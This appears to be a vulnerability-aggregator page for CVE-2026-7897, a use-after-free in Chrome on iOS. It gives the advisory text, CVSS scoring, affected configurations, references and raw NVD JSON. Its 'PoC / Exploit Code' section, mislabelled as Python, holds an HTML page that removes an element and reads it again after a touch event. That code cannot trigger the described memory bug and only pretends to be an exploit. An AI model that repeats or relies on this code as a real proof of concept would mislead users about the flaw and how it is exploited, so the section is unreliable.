CVE-2026-7897

Description

Use after free in Mobile in Google Chrome on iOS prior to 148.0.7778.96 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:iphone_os:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome on iOS < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-7897 -->
<!-- This PoC demonstrates the trigger condition via crafted HTML and UI gestures -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-7897 PoC</title>
    <style>
        body { touch-action: manipulation; }
        #target { width: 100%; height: 100vh; background: #f0f0f0; display: flex; align-items: center; justify-content: center; }
    </style>
</head>
<body>
    <div id="target">Perform specific UI gestures here</div>
    <script>
        let element = document.getElementById('target');
        
        function triggerUAF() {
            // Simulate the object release
            element.remove();
            
            // Simulate use-after-free attempt
            // In a real exploit, accessing the freed object triggers the vulnerability
            try {
                console.log(element.innerHTML);
            } catch (e) {
                console.log("Exception caught: " + e);
            }
        }

        // Listen for specific UI gestures (touchstart)
        element.addEventListener('touchstart', (e) => {
            console.log("Touch start detected");
            // Delay to simulate race condition or async state change
            setTimeout(triggerUAF, 50);
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7897
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7897
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7897/
[4] VulDB https://vuldb.com/cve/CVE-2026-7897
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/504069514

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7897", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:37.990", "lastModified": "2026-05-06T23:43:15.077", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Mobile in Google Chrome on iOS prior to 148.0.7778.96 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:iphone_os:-:*:*:*:*:*:*:*", "matchCriteriaId": "B5415705-33E5-46D5-8E4D-9EBADC8C5705"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/504069514", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}